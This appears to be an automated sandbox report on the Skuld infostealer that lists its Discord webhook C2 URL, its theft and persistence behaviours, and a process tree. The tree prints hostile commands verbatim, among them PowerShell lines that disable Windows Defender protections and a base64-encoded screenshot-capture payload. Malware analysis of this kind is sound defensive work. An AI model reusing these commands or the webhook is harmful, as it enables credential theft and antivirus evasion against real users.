Analysis

  • max time kernel
    134s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/10/2024, 02:44

General

  • Target
    skuld.exe
  • Size 9.8MB
  • Sample241017-c8aptasamm
  • SHA256 b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • skuld

C2
  • https://discord.com/api/webhooks/1296302322007146567/s26FESYbNgv6dHTRzvf3V4yWoNeWLchott0cNcCquKmuP8BVU-cT-pNPgpIqbVY4_0uW

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3384
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:1536
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4640
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:1356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1936
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:408
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jznsi4mo\jznsi4mo.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1084
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7678.tmp" "c:\Users\Admin\AppData\Local\Temp\jznsi4mo\CSCB90233EFDFE241C0ABDAC7AB443693F1.TMP"
          4⤵
            PID:4784
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:4772
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:1208

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 b99f3c778a047e0348c92c16e0419fa29418d10d0fec61ad8283e92a094a2b32
          • MD5 SHA1 SHA512

          Display (1).png

          • Path C:\Users\Admin\AppData\Local\Temp\5obMPh0h68\Display (1).png
          • Size 421KB
          • SHA256 baa366c1ca37a5c9f38963c47dd1544a1a3e8c489a0dcd74dba8ed1c85b9cfb8
          • MD5 SHA1 SHA512 SSDEEP

          RES7678.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES7678.tmp
          • Size 1KB
          • SHA256 db07ef9b2e8492920af621ddf4f9d5fa5d13e1d9eb022695f023e49bdd922913
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_wevmglgq.i1i.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wevmglgq.i1i.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          jznsi4mo.dll

          • Path C:\Users\Admin\AppData\Local\Temp\jznsi4mo\jznsi4mo.dll
          • Size 4KB
          • SHA256 c111e4513f750a4c53434a3be8abf1481cc47e2cf37709e7fcb45eacc38c7daa
          • MD5 SHA1 SHA512

          SecurityHealthSystray.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          • Size 9.8MB
          • SHA256 b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699
          • MD5 SHA1 SHA512 SSDEEP

          hosts

          • Path C:\Windows\System32\drivers\etc\hosts
          • Size 2KB
          • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
          • MD5 SHA1 SHA512

          CSCB90233EFDFE241C0ABDAC7AB443693F1.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jznsi4mo\CSCB90233EFDFE241C0ABDAC7AB443693F1.TMP
          • Size 652B
          • SHA256 f53695f89cba4e25b93d9b1eebdb5fd7efc8e969ba9cba7ffd5598dafe1609e2
          • MD5 SHA1 SHA512

          jznsi4mo.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jznsi4mo\jznsi4mo.0.cs
          • Size 1004B
          • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
          • MD5 SHA1 SHA512

          jznsi4mo.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jznsi4mo\jznsi4mo.cmdline
          • Size 607B
          • SHA256 e7f81146f2567a2e5ee0217608185143b0aba67d0527a59b43a19cd83eb05197
          • MD5 SHA1 SHA512

          memory/408-64-0x0000027D1B6B0000-0x0000027D1B6B8000-memory.dmp

          memory/1936-39-0x00000185B3270000-0x00000185B33BE000-memory.dmp

          memory/4640-8-0x0000012DC0000000-0x0000012DC0022000-memory.dmp

          memory/4640-7-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

          memory/4640-22-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

          memory/4640-0-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

          memory/4640-1-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp